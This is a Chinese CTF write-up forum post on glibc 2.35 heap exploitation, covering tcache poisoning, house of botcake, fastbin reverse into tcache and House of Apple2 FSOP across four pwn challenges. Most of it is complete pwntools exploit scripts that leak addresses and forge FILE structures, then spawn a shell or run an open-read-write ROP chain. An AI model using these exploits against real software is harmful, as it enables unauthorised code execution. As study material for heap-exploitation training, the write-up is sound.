高版本打tcache
1222706425506668 发表于 湖北 CTF 542浏览 · 2024-08-29 02:26

前言

  • 在此之前,笔者libc2.35都固化思维地只会largebin attack然后打IO,一遇到高版本还打tcache的好像束手无策
  • 但是largebin attack的目的其实就是任意地址写堆地址,但是如果能做到tcache poison实现任意地址分配,这种攻击的威力更大

例题分析

例题 NSSROUND21 want_girlfriend

main函数

create函数

abandon函数

show函数

love函数

题目中有可以直接修改tcache堆块的key的操作,因此tcache double free很容易实现

  • libc2.35,保护全开,只能打tcache范围。因为libc2.35自己一般都是打IO然后largebin attack,导致思维有点固化,没想到这题怎么打
  • 其实largebin attack也只是为了一个任意地址写堆地址,如果可以打tcache poison,就可以任意地址写任意值。
  • tcache poison只要绕过double free就行,因为要把key值修改,这个love函数中刚好可以实现这个目的,注意有个异或加密就行了
  • 攻击流程
  • 利用strcpy的特点泄露栈地址
  • 第一次打tcache poison申请出某个栈地址,然后用show泄露libcbase,因为发现用通过填满tcache,得到unsorted bin的chunk得到libc的方法不好用
  • 第二次打tcache poison申请出某个栈地址,用read(0, new + 0x38, 0x20uLL)写入rop,不用create函数来写rop是因为strcpy有\x00截断
if ( flag <= 0 )
  {
    puts("If you abandon her, the best love is forgetting");
    *(_QWORD *)new = 0LL;
    *((_QWORD *)new + 1) = 0LL;
    result = (_DWORD)new + 16;
    *((_QWORD *)new + 2) = 0LL;
  }
  else
  {
    puts("Please input your love");
    return read(0, new + 0x38, 0x20uLL);
  }
  • exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
libc = ELF("/home/zp9080/PWN/libc.so.6")
elf = ELF("/home/zp9080/PWN/pwn")
def dbg():
    gdb.attach(p,'b *$rebase(0x1478 )')
    pause()

def create(height=0x90,name=b'a',des=b'a'):
    p.sendlineafter("Please input you choice: \n",str(1))
    p.sendlineafter("Please input her height:",str(height))
    p.sendafter("Please input her name",name)
    p.sendafter("Plese input her describe",des)
def abondon(choose='Y'):
    p.sendlineafter("Please input you choice: \n",str(2))
    p.sendlineafter("Are you sure you want to abandon her now???\n",choose)
def show():
    p.sendlineafter("Please input you choice: \n",str(3))

def love():
    p.sendlineafter("Please input you choice: \n",str(520))


#泄露栈地址
create(0x90,b'a',b'a'*0x18)
show()
p.recvuntil("she is ")
p.recvuntil(b'a'*0x18)
mainret=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))+8
print(hex(mainret))


#------------------通过填满tcache,得到unsorted bin的chunk得到libc的方法不好用---------------------
abondon('Y')
show()
p.recvuntil("Your girlfriend is ")
heapbase=u64(p.recv(6).ljust(8,b'\x00'))<<12
print(hex(heapbase))

#double free
love()
abondon('Y')
love()
abondon('Y')
#----------------------------------------------------------
stack=mainret+0xb8
create(0x90,p64( ((heapbase+0x2a0)>>12)^stack ),b'\x00'*0x20)
create(0x90,b'x\00',b'a')
#申请出ret,这里要注意tcache count>0,因此前面进行了2次double free
#还有一个问题是tcache 要\x00字节对齐,因此用stack不能用ret
create(0x90,b'\x00',b'a')
show()
p.recvuntil("Your girlfriend is ")

#0x266200  利用栈上的东西泄露libcbase
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x266200
print(hex(libcbase))

#往ret写入system
abondon('N')
create(0x90,b'\x00',b'a')
abondon('Y')
love()
abondon('Y')
love()
abondon('Y')
loveret=mainret-0x20
create(0x90,p64( ((heapbase+0x2a0)>>12)^(loveret-0x38)),b'\x00'*0x20)
create(0x90,b'\x00',b'a')
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
system_addr = libcbase + libc.symbols['system']
bin_addr = libcbase + next(libc.search(b'/bin/sh'))
payload=p64(pop_rdi)+p64(bin_addr)+p64(ret)+p64(system_addr)
create(0x90,b'\x00',b'\x00')
love()
p.sendafter("Please input your love",payload)

p.interactive()

xyctf2024 ptmalloc2 it's myheap

main函数

add_chunk函数

delete_chunk函数

view_chunk函数

gift函数

  • libc2.35,no pie,partial rello,当时没仔细看检查还去打的IO,如果能任意地址申请的话其实打hjackgot是最快的,直接把free的got改为system就好了
  • 这个题有mark,delete操作只把mark变为0,但是chunklist的值没有删除,注意mark也是用堆存储的,那么就可以申请出来,进而修改mark的值,进行uaf
  • 这个题chunk的size可以自己输入,因此打法很多,题目没有edit只有add时才能read,也没有发现越界写,于是想着打house of botcake(但实际操作house of botcake打起来好麻烦,因为想要unlink总有个0x20大小的chunk阻隔,因此调试了好久才解决,最好的方法感觉是打fastbin reverse into tcache),具体细节见exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
context(os='linux', arch='amd64', log_level='debug')
# p=process('/home/zp9080/PWN/pwn')
elf=ELF('/home/zp9080/PWN/pwn')
p=remote('10.128.144.30',51655)
#51655

libc=elf.libc
def dbg():
    gdb.attach(p,'b *0x401773')
    pause()

def add(idx,size,content):
    p.sendlineafter(">>> ",str(1))
    p.sendlineafter("chunk_idx: ",str(idx))
    p.sendlineafter("chunk size: ",str(size))
    p.sendafter("chunk data: ",content)
def delete(idx):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("chunk id: ",str(idx))
def show(idx):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("chunk id: ",str(idx))

p.sendlineafter(">>> ",str(114514))
p.recvuntil("this is a gift: ")
libcbase=int(p.recv(14), 16)-libc.sym['puts']
print(hex(libcbase))
#利用largebin泄露heapbase
add(0,0x410,b'a')
add(15,0x20,b'a')
delete(0)
add(1,0x500,b'a')
delete(1)
add(0,0x410,b'a')
show(0)
p.recv(16)
heapbase=u64(p.recv(8)) -0x2b0
print(hex(heapbase))
#-------------------此时bin是空的---------------------

#------------------house of botcake--------------
for i in range(7):
    add(i,0x80,'a')
#主要用7,8进行操作
add(7,0x80,'a')
add(8,0x80,'a')
add(9,0x18,'a')
for i in range(7):
    delete(i) 

delete(8)

#一直因为mark导致不能double free,但是通过以下方式mark可以修改8的mark=1
add(15,0x18,b'a')
add(14,0x18,b'a')
add(13,0x18,b'a')
add(12,0x18,p64(0x80)+p64(1)+p64(heapbase+0xcd0))
delete(15)
delete(14)
delete(13)
delete(12)

#----------------------触发malloc consolidate,让8的0x20的chunk合并到smallbin 中为了正常触发unlink---------------------------
add(15,0x500,b'a')

#此时会进行unlink 8,让7,8一起进入unsorted bin
delete(7)
#给8腾出一个位置,不然会触发double free or corruption (!prev)
add(10,0x80,'a')
#注意8的大小为0x20+0x90=0xb0,8既在unsorted bin中,又在tcache中
delete(8) 

#打tcache poison,然后打apple2
io_list_all=libcbase+libc.sym['_IO_list_all']
payload=b'a'*0xa0+p64(0)+p64(0x91)+p64(io_list_all ^ ((heapbase+0xcc0)>>12) )

add(11,0xc0,payload)
add(0,0x80,b'a')
add(1,0x80,p64(heapbase+0x12b0)) #mem


system_addr=libcbase+libc.sym['system']
ioaddr=heapbase+0x12b0
payload = b'  sh;\x00\x00\x00'+p64(0)+p64(0)*2 + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0xa0, b'\x00') + p64(ioaddr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xd8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
payload = payload.ljust(0xe0 + 0xe0, b'\x00')+p64(ioaddr+0xe0+0xe8)
payload = payload.ljust(0xe0 + 0xe8 + 0x68, b'\x00') + p64(system_addr)
add(2,0x410,payload)

p.sendlineafter(">>> ",str(4))

p.interactive()

xyctf2024 ptmalloc2 it's myheap pro

main函数,与第一个题相比只是没有gift函数,但是我们仍然可以利用堆块泄露

  • 做到这里才发现这个0x20的chunk不只有mark可以用,show和free都是根据*(chunk+0x10)来的,同时我们可以控制chunk。因为没有edit,因此fastbin reverse into tcache修改最后的chunk的fd需要用fastbin double free来实现,然后add出来实现修改最后的chunk的fd
  • 此题也是libc2.35,但是malloc的size要<=0x80。no pie(后来发现这个是用来任意地址申请来泄露libc,因为没有largebin来泄露libcbase,但是后来发现0x90的chunk可以进入unsorted bin也可以泄露libcbase),其他部分和上面的题一样
  • 这个size显然是要打fastbin reverse into tcache了(因为tcache double free其实条件挺苛刻的),但是实际做题的时候遇到了一些问题,原因是没有严格按照fastbin reverse into tcache的流程来打,也就是fastbin要为7个,修改最后一个chunk的fd,不然在libc2.35总会有段错误(libc2.31检查松没有,但是最好规范化打法)
  • 然后打IO申请两次就行了,反正有任意地址申请,只要每次tcache的大小不同就不会互相影响
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
context(os='linux', arch='amd64', log_level='debug')
# p=process('/home/zp9080/PWN/vuln')
elf=ELF('/home/zp9080/PWN/vuln')
p=remote('10.131.221.99',65176)

libc=elf.libc
def dbg():
    gdb.attach(p,'b *0x4017B5')
    pause()

def add(idx,size,content):
    p.sendlineafter(">>> ",str(1))
    p.sendlineafter("chunk_idx: ",str(idx))
    p.sendlineafter("chunk size: ",str(size))
    p.sendafter("chunk data: ",content)
def delete(idx):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("chunk id: ",str(idx))
def show(idx):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("chunk id: ",str(idx))

#------------------------因为这个0x20chunk的存在,可以任意地址泄露和任意地址free,每个chunk对应的0x20chunk可以被控制-----------------------------
#------------------------也是一种uaf-------------------------
chunklist=0x404060
add(0,0x70,b'a')
add(1,0x70,b'a')
delete(0)
delete(1)
add(3,0x18,p64(0x18)+p64(1)+p64(chunklist)) #0的mark被改为1,并且buf被改为chunklist
show(0)
heapbase=u64(p.recv(3).ljust(8,b'\x00'))-0x2a0
print(hex(heapbase))

stdout=0x404020
add(0,0x70,b'a')
add(1,0x70,b'a')
delete(0)
delete(1)
add(3,0x18,p64(0x18)+p64(1)+p64(stdout)) 
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21b780
print(hex(libcbase))
pop_rdi=libcbase+0x2a3e5
system_addr = libcbase + libc.symbols['system']
IO_2_1_stderr=libcbase+0x21b6a0


#打fastbin reverse into tcache
for i in range(14):
    add(i,0x60,b'a')
for i in range(14):
    delete(i)
for i in range(7):
    add(i,0x60,b'a')

add(0,0x18,p64(0x18)+p64(1)+p64(heapbase+0x830))
delete(7)
add(1,0x60,p64((IO_2_1_stderr-0x10) ^ ((heapbase+0x830)>>12)) )
add(2,0x60,b'a')

#可以申请出_IO_2_1_stderr
payload= b'  sh;\x00\x00\x00'+p64(0)
payload += p64(0) + p64(system_addr) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x48, b'\x00') + p64(heapbase) #FAKE FILE+0x48
add(0,0x60,payload)

#清理堆结构
add(0,0x18,'a')
add(0,0x18,'a')


#打fastbin reverse into tcache
for i in range(14):
    add(i,0x50,b'a')
for i in range(14):
    delete(i)
for i in range(7):
    add(i,0x50,b'a')

add(0,0x18,p64(0x18)+p64(1)+p64(heapbase+0xfc0))
delete(7)
add(1,0x50,p64((IO_2_1_stderr+0xa0-0x10) ^ ((heapbase+0xfc0)>>12)) )
add(2,0x50,b'a')
#可以申请出_IO_2_1_stderr+0xa0
payload = p64(heapbase+0x1310+0x10) #_wide_data
payload = payload.ljust(0x38, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
add(0,0x50,payload)

#wide_data
wide_data=b'\x00'
wide_data=wide_data.ljust(0x68,b'\x00')
wide_data+=p64(system_addr)
add(0,0x80,wide_data)
payload=b'\x00'
payload=payload.ljust(0x50,b'\x00')
payload+=p64(heapbase+0x1310+0x10)
add(0,0x80,payload)

p.sendlineafter(">>> ",str(4))

p.interactive()

ptmalloc2 it's myheap plus

和之前的类似,不过又加了个sandbox

  • 这个题因为sandbox会开辟堆块,所以一开始堆块结构很奇怪,但是不影响做题,直接通过add操作把堆变干净方便做题
  • 这个题不像pro一样no pie,因此泄露要以另一种方式,先泄露堆地址,然后通过unsorted bin泄露libc,这个题最大的攻击点就在于这个show函数是根据malloc(0x18)那个chunk来的,这个chunk又能控制,因此可以任意地址泄露
  • 后面就是打apple2 orw,任意地址写还是和pro一样fastbin reverse into tcache
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
context(os='linux', arch='amd64', log_level='debug')
# p=process('/home/zp9080/PWN/vuln')
# p=gdb.debug('/home/zp9080/PWN/vuln','b *$rebase(0x182D)')
elf=ELF('/home/zp9080/PWN/vuln')
p=remote('10.135.28.19',52536)
libc=ELF('/home/zp9080/PWN/libc.so.6')
def dbg():
    gdb.attach(p,'b *$rebase(0x1837 )')
    pause()

def add(idx,size,content):
    p.sendlineafter(">>> ",str(1))
    p.sendlineafter("chunk_idx: ",str(idx))
    p.sendlineafter("chunk size: ",str(size))
    p.sendafter("chunk data: ",content)
def delete(idx):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("chunk id: ",str(idx))
def show(idx):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("chunk id: ",str(idx))

#------------------------因为这个0x20chunk的存在,可以任意地址泄露和任意地址free,每个chunk对应的0x20chunk可以被控制-----------------------------
#------------------------也是一种uaf-------------------------
#不知道为什么一开始堆结构是乱的
for i in range(9):
    add(0,0x60,'a')
for i in range(6):
    add(0,0x70,'a')
add(0,0x40,'a')

#泄露heapbase
add(0,0x70,b'a')
add(1,0x70,b'a')
delete(0)
delete(1)
add(3,0x18,p64(0x18)+p64(1)) #0的mark被改为1
show(0)
heapbase=( u64(p.recv(5).ljust(8,b'\x00'))<<12 )-0x1000
print(hex(heapbase))
#把堆清理干净
add(0,0x70,b'a')
add(0,0x70,b'a')

#泄露libcbase
add(0,0x70,b'a')
add(1,0x70,b'a')
delete(0)
delete(1)
add(2,0x18,p64(0x18)+p64(1)+p64(heapbase+0x1cf0)) 
#多一个防止与top chunk合并
for i in range(3,12):
    add(i,0x80,b'a')
for i in range(3,11):
    delete(i)
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21ace0
print(hex(libcbase))
IO_2_1_stderr=libcbase+0x21b6a0
#清空堆结构
for i in range(9):
    add(0,0x80,'a')
add(0,0x70,'a')
add(0,0x70,'a')

#打fastbin reverse into tcache
for i in range(14):
    add(i,0x60,b'a')
for i in range(14):
    delete(i)
for i in range(7):
    add(i,0x60,b'a')

add(0,0x18,p64(0x18)+p64(1)+p64(heapbase+0x2320+0x10))
delete(7)
add(1,0x60,p64((IO_2_1_stderr-0x10) ^ ((heapbase+0x2320)>>12)) )
add(2,0x60,b'a')

rop_address = heapbase+ 0x2f30 +0x10
magic_gadget = libcbase + 0x16A06A

leave_ret = libcbase + 0x000000000004da83 #: leave ; ret
pop_rdi_ret = libcbase + 0x000000000002a3e5 #: pop rdi ; ret
pop_rsi_ret = libcbase + 0x000000000002be51 #: pop rsi ; ret
pop_rdx_r12_ret = libcbase + 0x000000000011f2e7 #: pop rdx ; pop r12 ; ret
pop_rsp_ret=libcbase+0x35732

#可以申请出_IO_2_1_stderr
payload= b'  sh;\x00\x00\x00'+p64(0)
payload += p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x48, b'\x00') + p64(rop_address) #FAKE FILE+0x48
add(0,0x60,payload)

#清理堆结构
add(0,0x18,'a')
add(0,0x18,'a')

#打fastbin reverse into tcache
for i in range(14):
    add(i,0x50,b'a')
for i in range(14):
    delete(i)
for i in range(7):
    add(i,0x50,b'a')
add(0,0x18,p64(0x18)+p64(1)+p64(heapbase+0x2ab0+0x10))
delete(7)
add(1,0x50,p64((IO_2_1_stderr+0xa0-0x10) ^ ((heapbase+0x2ab0)>>12)) )
add(2,0x50,b'a')
#可以申请出_IO_2_1_stderr+0xa0
payload = p64(heapbase+0x2e10+0x10) #_wide_data
payload = payload.ljust(0x38, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
add(0,0x50,payload)

#wide_data
wide_data=b'\x00'
wide_data=wide_data.ljust(0x68,b'\x00')
wide_data+=p64(magic_gadget)
add(0,0x80,wide_data)
payload=b'\x00'
payload=payload.ljust(0x50,b'\x00')
payload+=p64(heapbase+0x2e10+0x10)
add(0,0x80,payload)

#orw
orw_rop =  b'flag\x00\x00\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0)+p64(IO_2_1_stderr-0x10)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libcbase + libc.sym['open'])
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(heapbase+ 0x100)
orw_rop += p64(pop_rsp_ret)+p64(heapbase+0x2fe0+0x10)
add(0,0x80,orw_rop)
# dbg()

orw_rop = p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libcbase + libc.sym['read'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(heapbase + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libcbase + libc.sym['write'])
add(0,0x80,orw_rop)

p.sendlineafter(">>> ",str(4))

p.interactive()
0 条评论
某人
表情
可输入 255